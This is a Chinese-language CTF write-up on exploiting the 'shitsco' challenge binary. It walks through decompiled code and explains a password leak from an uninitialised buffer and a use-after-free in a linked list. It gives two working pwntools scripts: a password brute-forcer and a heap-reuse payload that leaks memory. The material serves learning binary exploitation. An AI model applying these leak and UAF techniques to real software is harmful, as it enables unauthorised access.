pwn选手养成第一篇,字符串信息泄露与释放后使用漏洞。
程序可在CTFS 下载。
程序分析 运行程序 看到为一个简单的网络设备终端,与现实的很像,存在如下命令,enable需要密码进入管理模式,ping和tracert是调用了系统的命令,shell没有任何反应,set和show可以用来设置与显示参数 试了一会儿大致了解其工作过程。
反编译 在主函数里面,主要是这三个函数,分别为将密码读取到内存中,输入字符串(命令),处理字符串(命令),另外还要注意的就是当前权限是0
: 其中,读取密码的函数如下,它将服务端这个密码读入到bss区: 读入字符串的函数如下,参数表示从标准输入(文件描述符0)里读入,最多80个字节到a2,读到'\n'
时结束,这里可以看出若是刚好输入80个字节,那么这个字符串可以不以'\n'
结束: 接着看看处理字符串的函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 int __usercall handle@<eax>(char *inputStr){ char *p; char *name; struc_1 *strucArrayPtr; int v4; size_t nameLen; char i; _BYTE *j; char *p2; int argNum; char **argv; char v11; char *k; _BYTE *l; char **v14; char **v16; char **ptr; int v18; name = s2.cmdName; v18 = 0 ; if ( s2.cmdName ) { ptr = 0 ; strucArrayPtr = &s2; v4 = 0 ; do { nameLen = strlen (name); if ( !strncmp (inputStr, name, nameLen) ) { if ( inputStr ) p = inputStr; for ( i = *p; *p == ' ' ; i = *p ) ++p; if ( i ) { for ( j = p + 1 ; *j; ++j ) { p = j + 1 ; if ( *j == ' ' ) { *j = 0 ; goto LABEL_14; } } p = j; } LABEL_14: p2 = p; argNum = strucArrayPtr->argNum; argv = (char **)malloc (4 * strucArrayPtr->argNum + 4 ); ptr = argv; if ( argNum <= v4 ) { v14 = &argv[v4]; LABEL_26: *v14 = 0 ; if ( strucArrayPtr->needPriv > currentPriv ) return 0 ; } else { while ( 1 ) { v11 = *p2; for ( k = p2; *k == ' ' ; v11 = *k ) ++k; if ( !v11 ) { p = k; goto LABEL_33; } for ( l = k + 1 ; *l; ++l ) { p2 = l + 1 ; if ( *l == ' ' ) { *l = 0 ; goto LABEL_23; } } p2 = l; LABEL_23: if ( !k ) break ; ptr[v4++] = (char *)__strdup((int )k); if ( strucArrayPtr->argNum <= v4 ) { p = p2; v14 = &ptr[v4]; goto LABEL_26; } } p = p2; LABEL_33: v16 = &ptr[v4]; *v16 = 0 ; *v16 = 0 ; if ( strucArrayPtr->needPriv > currentPriv ) return 0 ; } ((void (__cdecl *)(char **))strucArrayPtr->func)(ptr); v18 = 1 ; } ++strucArrayPtr; name = strucArrayPtr->cmdName; } while ( strucArrayPtr->cmdName ); if ( ptr ) free (ptr); } return v18; }
就是如此复杂,里面有个关键就是要把一个结构体弄懂,其实这里个程序存在两个重要的结构体,如下,第一个是此时所说的,存储的是命令信息,第二个是存在漏洞的地方,等下说: 首先遇到的就是第一个结构体,这是根据规律识别出来的,每一个结构如上,包含命令名称,命令说明,需要的权限,可以接受的参数,处理函数
: 继续回到上面这个handle
函数,它先识别用户输入的命令,然后申请参数个数加一个指针空间,再复制每个参数,并将地址按次序写入ptr
所指向的地址数组,这个过程它会检查命令所需权限与当前权限是否匹配。 接着分析这些命令与其处理函数,发现有个叫flag
的命令很可疑,查看内部发现是读取flag并输出,但是它需要的权限是1
(见上图的),默认权限是0
: 自然想到了enable
命令,它可以提升权限,它可以接受一个参数,为密码,若不输入将在函数内部等待输入,可以看到会将输入与之前读取的密码作比较,若正确将会设置当前权限为1
,那么可能就存在信息泄露漏洞了: 其他的命令都没什么,只有set
与show
可能有用,毕竟按套路要是存在堆漏洞都是先创建再释放什么的,那先看看set
,它的外层只是判断是否至少有一个参数,内层才是重点:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 void __cdecl sub_8048EF0 (char *argv, char *argv1) { const char *keyName; struct dictList *nodePtr ; struct dictList *nextNode ; int v5; struct dictList *v6 ; struct dictList *newNode ; struct dictList *v8 ; struct dictList *preNode ; keyName = (const char *)firstNode.key; if ( !argv1 || firstNode.key ) { for ( nodePtr = &firstNode; ; nodePtr = nextNode ) { nextNode = nodePtr->nextNode; if ( !nextNode ) break ; if ( keyName && !strcmp (keyName, argv) ) { if ( argv1 ) goto LABEL_19; preNode = (struct dictList *)nodePtr->preNode; if ( !preNode || (preNode->nextNode = nextNode, (nextNode = nodePtr->nextNode) != 0 ) ) nextNode->preNode = (int )preNode; LABEL_13: free ((void *)nodePtr->value); free ((void *)nodePtr->key); nodePtr->key = 0 ; nodePtr->value = 0 ; if ( nodePtr != &firstNode ) free (nodePtr); return ; } keyName = (const char *)nextNode->key; } if ( keyName && !strcmp (keyName, argv) ) { if ( argv1 ) { LABEL_19: free ((void *)nodePtr->value); nodePtr->value = __strdup((int )argv1); return ; } v5 = nodePtr->preNode; if ( v5 ) { *(_DWORD *)(v5 + 8 ) = 0 ; v6 = nodePtr->nextNode; if ( v6 ) v6->preNode = v5; } goto LABEL_13; } if ( argv1 ) { newNode = (struct dictList *)calloc (1u , 0x10 u); nodePtr->nextNode = newNode; v8 = newNode; newNode->preNode = (int )nodePtr; newNode->key = __strdup((int )argv); v8->value = __strdup((int )argv1); } else { __printf_chk(1 , "You must set a value for %s\n" , argv); } } else { firstNode.key = __strdup((int )argv); firtValue = __strdup((int )argv1); } }
这里用到了上面提到的第二个结构体,即当设置一个键值对是,会生成一个结构体,它包含四个元素键,值,下一个键值对,上一个键值对
,经分析它完全没有必要使用双向链表,很可疑呀,另外,它的第一个结构体存在bss里,是比较特殊的存在,仔细分析,它的逻辑是,当set的是键值对且第一个结构体的键指向null时将其写入第一个结构体,其他时候,若只指定键将遍历链表并将其删除,在删除时,它会先释放这个结构体中键值所指向内存,再将值设为null,最后将整个结构体释放,但是对于第一个结构体,它不会被释放,因为它不是动态分配的,于是摘除第一个结构体时,只会清空它的键值,nextNode仍然会指向第二个结构体,这是正常的,但若是此时再次释放第二个结构体,由于第一个结构体已经’释放’,第二个的preNode将为空,将不会对第一个结构体做操作,使其nextNode指向第二个结构体的nextNode,而第一个却确确实实存放着第二个的指针且在show时将会用到: 于是存在UAF漏洞,可以用来读取hasReadPwd的内容。
方法一 这是简单的方法,在enable函数里面,若是传入的参数里面没有密码,将在内部输入,调用了上面提到的readStr
函数,这个函数不会在输入字符串后填'\0'
,而下面的比较与输出函数都会以'\0'
作为结束符,另外s2这个字符数组是没有初始化的,它的长度为32字节,上面即是v4,v4为strcmp的结果: 所以,输入32个字符一定能多输出一个字符,要是没有,那说明这32个字符就是passwd,于是可以一位一位的猜passwd,不采用二分法最多也只需要127*32次(其实可以只猜可见字符)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *p = process('shitsco_c8b1aa31679e945ee64bde1bdb19d035' ) p.recv() passwd = '' for i in range(0 ,32 +1 ): for c in range(32 ,126 +1 ): tmp = passwd+chr(c)+(32 - 1 - len(passwd))*'\xff' p.sendline('enable' ) p.send(tmp) p.recvuntil("Nope. The password isn't " ) ans = p.recv(33 ) if ans[32 :33 ]=='\xff' : passwd += chr(c) print passwd break if c==126 : print "Eerr0r" p.close() exit() p.close() print "the passwd is:%s" %(passwd)
结果:
方法二 如程序分析,存在uaf漏洞,一个dictList结构体16字节,于是当释放第二个结构体后,申请16字节即可再次使用chunk,它被保存在fastbins里,那么第一个字节将不会被覆盖为指针,即使释放后仍然可用,而show会使用被释放后的结构体,输出内存信息。当然,可以直接这个chunk,如set lala (address,address,'a'*8)
,这里值会存储在刚才被释放的chunk里,其他类似,只要保证第一个大小为16的chunk(对齐)里前两个域里有指向hasReadPwd的指针即可,利用代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import *p = process('shitsco_c8b1aa31679e945ee64bde1bdb19d035' ) hasReadPwd = 0x0804c3a0 print p.recv()p.sendline('set a 123' ) p.sendline('set b ' +'1' *5 ) p.sendline('set c 1' ) p.sendline('set a' ) p.sendline('set b' ) p.sendline('set c' ) payload = 'set a ' +p32(hasReadPwd)*2 +'a' *8 gdb.attach(p) p.sendline(payload) p.recv() p.sendline('show' ) print p.recv()
结果: ……..
总结 逆向分析就是一个猜测的过程,猜这个函数是什么意思,猜测会怎么写,而ida的F5就是指导反汇编的,当弄清楚了程序流就很容易发现问题了~